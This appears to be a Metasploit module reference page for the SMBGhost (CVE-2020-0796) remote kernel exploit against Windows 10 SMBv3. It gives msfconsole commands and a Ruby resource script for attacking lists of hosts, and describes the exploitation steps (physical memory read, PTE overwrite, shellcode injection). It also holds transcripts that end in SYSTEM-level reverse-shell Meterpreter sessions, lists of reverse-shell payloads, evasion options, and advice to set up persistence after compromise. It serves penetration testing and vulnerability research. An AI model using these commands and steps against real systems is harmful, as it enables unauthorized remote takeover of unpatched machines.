SMBv3 Compression Buffer Overflow - Metasploit
This page contains detailed information about how to use the exploit/windows/smb/cve_2020_0796_smbghost metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: SMBv3 Compression Buffer Overflow
Module: exploit/windows/smb/cve_2020_0796_smbghost
Source code: modules/exploits/windows/smb/cve_2020_0796_smbghost.rb
Disclosure date: 2020-03-13
Last modification time: 2022-03-10 18:03:35 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): 445
List of CVEs: CVE-2020-0796
This module is also known as SMBGhost or CoronaBlue.
A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to execute code on a vulnerable server. This remove exploit implementation leverages this flaw to execute code in the context of the kernel, finally yielding a session as NT AUTHORITY\SYSTEM in spoolsv.exe. Exploitation can take a few minutes as the necessary data is gathered.
Module Ranking and Traits
Module Ranking:
- average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-os-restarts: Module may crash the OS, but the OS restarts.
Basic Usage
Using cve_2020_0796_smbghost against a single host
Normally, you can use exploit/windows/smb/cve_2020_0796_smbghost this way:
msf > use exploit/windows/smb/cve_2020_0796_smbghost
msf exploit(cve_2020_0796_smbghost) > show targets
... a list of targets ...
msf exploit(cve_2020_0796_smbghost) > set TARGET target-id
msf exploit(cve_2020_0796_smbghost) > show options
... show and set options ...
msf exploit(cve_2020_0796_smbghost) > exploit
Using cve_2020_0796_smbghost against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your cve_2020_0796_smbghost will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/windows/smb/cve_2020_0796_smbghost")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to execute code on a vulnerable server. This remove exploit implementation leverages this flaw to execute code in the context of the kernel, finally yielding a session as NT AUTHORITY\SYSTEM in spoolsv.exe.
This vulnerability was patched in March 2020 but prior to that enough information was publicly available to trigger a crash which led to pre-patch workarounds. The official recommendation from Microsoft at the time was to disable SMBv3 compression, a feature which this exploit relies on. The module's check method will determine this value using the registry to identify whether or not compression has been disabled.
Other recommendations included restricting access to TCP port 445 via firewalls.
Warning
There is a high probability that even when the exploit is successful the remote target will crash within about 90 minutes. It is recommended that after a successful compromise, a persistence mechanism be established and the system be rebooted to avoid a Blue Screen of Death (BSOD).
Installation And Setup
Windows 10 versions 1903 and 1909 (without the patch) are vulnerable out of the box. The default setting is to have SMBv3 compression enabled.
Exploit Internals
The exploit is based on this PoC and this research. At a high level the steps are:
- Leverage the vulnerability to create a read primitive for physical memory
- Use the vulnerability to write an
MDL
describing the physical memory to read intoKUSER_SHARED_DATA
KUSER_SHARED_DATA
is used because it exists at a known address and has read/write permissions
- Use the vulnerability to corrupt a
SRVNET_BUFFER_HDR
to reference the previously written MDL - Attempt to negotiate with the remote server, causing the desired memory to be returned as the response
- Use the vulnerability to write an
- Use the read primitive to scan for the low stub, fingerprinting it based on a known value
- Extract the address of the page map level 4 (PML4) from the low stub once found
- Store the address of the low stub because it exists within the HAL heap
- Scan the PML4 for its self-reference entry to leak its address in virtual memory, this is also used to translate virtual addresses into physical addresses in the future
- Scan the HAL heap looking for the
hal!HalpInterruptController
, fingerprinting it based on a known pattern - Extract the address of the
hal!HalpApicRequestInterrupt
from thehal!HalpInterruptController
- Use the write primitive to overwrite the PTE for
KUSER_SHARED_DATA
, granting it the necessary privileges to be executable - Copy the shellcode (which is a combination of a kernel mode bootstrap and the usermode payload from Metasploit) to
KUSER_SHARED_DATA
- Use the write primitive to overwrite the pointer of
hal!HalpApicRequestInterrupt
inhal!HalpInterruptController
, replacing it with a pointer to the shellcode - The shellcode queues an APC to inject the usermode payload into a spoolsv.exe instance with NT AUTHORITY\SYSTEM privileges
Verification Steps
- Start msfconsole
- Do:
use exploit/windows/smb/cve_2020_0796_smbghost
- Set the
RHOSTS
andPAYLOAD
options - Do:
run
- You should get a shell, the exploitation process may take a few minutes
Scenarios
Windows 10 Version 1909 Build 18363.418 x64
msf6 > use exploit/windows/smb/cve_2020_0796_smbghost
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set RHOSTS 192.168.159.76
RHOSTS => 192.168.159.76
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] 192.168.159.76:445 - Executing automatic check (disable AutoCheck to override)
[!] 192.168.159.76:445 - The service is running, but could not be validated.
[*] 192.168.159.76:445 - Found low stub at physical address 0x0000000000013000
[*] 192.168.159.76:445 - PML4 at 0x00000000001ad000 (UEFI)
[*] 192.168.159.76:445 - HAL heap found at 0xfffff7cd80000000
[*] 192.168.159.76:445 - Found PML4 self-reference entry at 0x0122
[*] 192.168.159.76:445 - Found hal!HalpInterruptController at 0xfffff7cd80001478
[*] 192.168.159.76:445 - Found hal!HalpApicRequestInterrupt at 0xfffff8035f6b7bb0
[*] 192.168.159.76:445 - KUSER_SHARED_DATA PTE NX bit cleared!
[*] Sending stage (200262 bytes) to 192.168.159.76
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.76:49675) at 2021-04-09 14:01:43 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-RTCRBEV
OS : Windows 10 (10.0 Build 18363).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 0
Meterpreter : x64/windows
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the windows/smb/cve_2020_0796_smbghost exploit module looks in the msfconsole:
msf6 > use exploit/windows/smb/cve_2020_0796_smbghost
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > show info
Name: SMBv3 Compression Buffer Overflow
Module: exploit/windows/smb/cve_2020_0796_smbghost
Platform: Windows
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2020-03-13
Provided by:
hugeh0ge
chompie1337
Spencer McIntyre
Module stability:
crash-os-restarts
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Windows 10 v1903-1909 x64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
Payload information:
Space: 600
Description:
A vulnerability exists within the Microsoft Server Message Block
3.1.1 (SMBv3) protocol that can be leveraged to execute code on a
vulnerable server. This remove exploit implementation leverages this
flaw to execute code in the context of the kernel, finally yielding
a session as NT AUTHORITY\SYSTEM in spoolsv.exe. Exploitation can
take a few minutes as the necessary data is gathered.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-0796
https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html
https://github.com/chompie1337/SMBGhost_RCE_PoC
https://www.youtube.com/watch?v=RSV3f6aEJFY&t=1865s
https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems
https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows
https://labs.bluefrostsecurity.de/blog/2017/05/11/windows-10-hals-heap-extinction-of-the-halpinterruptcontroller-table-exploitation-technique/
Also known as:
SMBGhost
CoronaBlue
Related modules:
exploit/windows/local/cve_2020_0796_smbghost
Module Options
This is a complete list of options available in the windows/smb/cve_2020_0796_smbghost exploit:
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > show options
Module options (exploit/windows/smb/cve_2020_0796_smbghost):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 10 v1903-1909 x64
Advanced Options
Here is a complete list of advanced options supported by the windows/smb/cve_2020_0796_smbghost exploit:
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > show advanced
Module advanced options (exploit/windows/smb/cve_2020_0796_smbghost):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DefangedMode true yes Run in defanged mode
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ForceExploit false no Override check result
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 10 no Additional delay in seconds to wait for a session
Payload advanced options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/smb/cve_2020_0796_smbghost module can exploit:
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 10 v1903-1909 x64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/smb/cve_2020_0796_smbghost exploit:
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64 Execute Command
4 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
5 payload/windows/x64/messagebox normal No Windows MessageBox x64
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
11 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
12 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
14 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
15 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
16 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
17 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
18 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
19 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
20 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
21 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
22 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
23 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
24 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
25 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
26 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
27 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
28 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
29 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
30 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
31 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
32 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
33 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
34 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
35 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
36 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
37 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
38 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
39 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
40 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
41 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
42 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
43 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
44 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
45 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
46 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
47 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
48 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
Evasion Options
Here is the full list of possible evasion options supported by the windows/smb/cve_2020_0796_smbghost exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
SMB3
Here is a relevant code snippet related to the "SMB3" error message:
109: rescue ::Exception => e # rubocop:disable Lint/RescueException
110: vprint_error("#{rhost}: #{e.class} #{e}")
111: return CheckCode::Unknown
112: end
113:
114: return CheckCode::Safe unless protocol == 'SMB3'
115: return CheckCode::Safe unless client.dialect == '0x0311'
116:
117: lznt1_algorithm = RubySMB::SMB2::CompressionCapabilities::COMPRESSION_ALGORITHM_MAP.key('LZNT1')
118: return CheckCode::Safe unless client.server_compression_algorithms.include?(lznt1_algorithm)
119:
0x0311
Here is a relevant code snippet related to the "0x0311" error message:
110: vprint_error("#{rhost}: #{e.class} #{e}")
111: return CheckCode::Unknown
112: end
113:
114: return CheckCode::Safe unless protocol == 'SMB3'
115: return CheckCode::Safe unless client.dialect == '0x0311'
116:
117: lznt1_algorithm = RubySMB::SMB2::CompressionCapabilities::COMPRESSION_ALGORITHM_MAP.key('LZNT1')
118: return CheckCode::Safe unless client.server_compression_algorithms.include?(lznt1_algorithm)
119:
120: CheckCode::Detected
Failed to read physical memory
Here is a relevant code snippet related to the "Failed to read physical memory" error message:
213: return blob
214: end
215: sleep try**2
216: end
217:
218: fail_with(Failure::Unknown, 'Failed to read physical memory')
219: end
220:
221: def find_low_stub
222: common = [0x13000].to_enum # try the most common value first
223: all = (0x1000..0x100000).step(0x1000)
Failed to find the low stub
Here is a relevant code snippet related to the "Failed to find the low stub" error message:
235: print_status("Found HAL heap at 0x#{phal_heap.to_s(16).rjust(16, '0')}")
236:
237: return { pml4: pml4, phal_heap: phal_heap }
238: end
239:
240: fail_with(Failure::Unknown, 'Failed to find the low stub')
241: end
242:
243: def find_pml4_selfref(pointers)
244: search_len = 0x1000
245: index = pointers[:pml4]
Failed to leak the PML4 self reference
Here is a relevant code snippet related to the "Failed to leak the PML4 self reference" error message:
258: end
259: search_len -= [buff.length, 8].max
260: index += [buff.length, 8].max
261: end
262:
263: fail_with(Failure::Unknown, 'Failed to leak the PML4 self reference')
264: end
265:
266: def get_phys_addr(pointers, va_addr)
267: pml4_index = (((1 << 9) - 1) & (va_addr >> (40 - 1)))
268: pdpt_index = (((1 << 9) - 1) & (va_addr >> (31 - 1)))
Failed to leak the address of hal!HalpInterruptController
Here is a relevant code snippet related to the "Failed to leak the address of hal!HalpInterruptController" error message:
337: return pointers
338: end
339:
340: va_cursor += buff.length
341: end
342: fail_with(Failure::Unknown, 'Failed to leak the address of hal!HalpInterruptController')
343: end
344:
345: def build_shellcode(pointers)
346: source = File.read(File.join(Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2020-0796', 'RCE', 'kernel_shellcode.asm'))
347: edata = Metasm::Shellcode.assemble(Metasm::X64.new, source).encoded
Incompatible payload: <PAYLOAD> (must be x64)
Here is a relevant code snippet related to the "Incompatible payload: <PAYLOAD> (must be x64)" error message:
364: EOF
365:
366: fail_with(Failure::BadConfig, warning)
367: end
368:
369: fail_with(Failure::BadConfig, "Incompatible payload: #{datastore['PAYLOAD']} (must be x64)") unless payload.arch.include? ARCH_X64
370: @memory_cache = {}
371: @shellcode_length = 0
372: pointers = find_low_stub
373: pointers = find_pml4_selfref(pointers)
374: pointers = search_hal_heap(pointers)
Go back to menu.
Related Pull Requests
- #15575 Merged Pull Request: Update Gemfile.lock
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions
References
- CVE-2020-0796
- https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html
- https://github.com/chompie1337/SMBGhost_RCE_PoC
- https://www.youtube.com/watch?v=RSV3f6aEJFY&t=1865s
- https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems
- https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows
- https://labs.bluefrostsecurity.de/blog/2017/05/11/windows-10-hals-heap-extinction-of-the-halpinterruptcontroller-table-exploitation-technique/
See Also
Check also the following modules related to this module:
- exploit/windows/local/cve_2020_0796_smbghost
- exploit/windows/dcerpc/cve_2021_1675_printnightmare
- exploit/windows/fileformat/cve_2017_8464_lnk_rce
- exploit/windows/local/cve_2017_8464_lnk_lpe
- exploit/windows/local/cve_2018_8453_win32k_priv_esc
- exploit/windows/local/cve_2019_1458_wizardopium
- exploit/windows/local/cve_2020_0668_service_tracing
- exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
- exploit/windows/local/cve_2020_1048_printerdemon
- exploit/windows/local/cve_2020_1054_drawiconex_lpe
- exploit/windows/local/cve_2020_1313_system_orchestrator
- exploit/windows/local/cve_2020_1337_printerdemon
- exploit/windows/local/cve_2020_17136
- exploit/windows/local/cve_2021_1732_win32k
- exploit/windows/local/cve_2021_21551_dbutil_memmove
- exploit/windows/local/cve_2021_40449
- exploit/windows/local/cve_2022_21882_win32k
- exploit/windows/local/cve_2022_21999_spoolfool_privesc
- exploit/windows/local/cve_2022_26904_superprofile
- exploit/windows/misc/cve_2022_28381_allmediaserver_bof
- exploit/windows/rdp/cve_2019_0708_bluekeep_rce
- exploit/linux/http/cve_2019_1663_cisco_rmi_rce
- exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
- exploit/linux/local/cve_2021_3493_overlayfs
- exploit/linux/local/cve_2021_38648_omigod
- exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
- exploit/linux/local/cve_2022_0847_dirtypipe
- exploit/linux/local/cve_2022_0995_watch_queue
- exploit/linux/misc/cve_2020_13160_anydesk
- exploit/linux/misc/cve_2021_38647_omigod
- exploit/multi/http/cve_2021_35464_forgerock_openam
- exploit/multi/sap/cve_2020_6207_solman_rs
- exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection
Related Nessus plugins:
- Microsoft Windows SMBv3 Compression RCE (ADV200005)(CVE-2020-0796)(Remote)
- KB4551762: Windows 10 Version 1903 and Windows 10 Version 1909 OOB Security Update (ADV200005)(CVE-2020-0796)
- Microsoft Windows SMBv3 Compression RCE (ADV200005)(CVE-2020-0796)(Remote)
Authors
- hugeh0ge
- chompie1337
- Spencer McIntyre
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.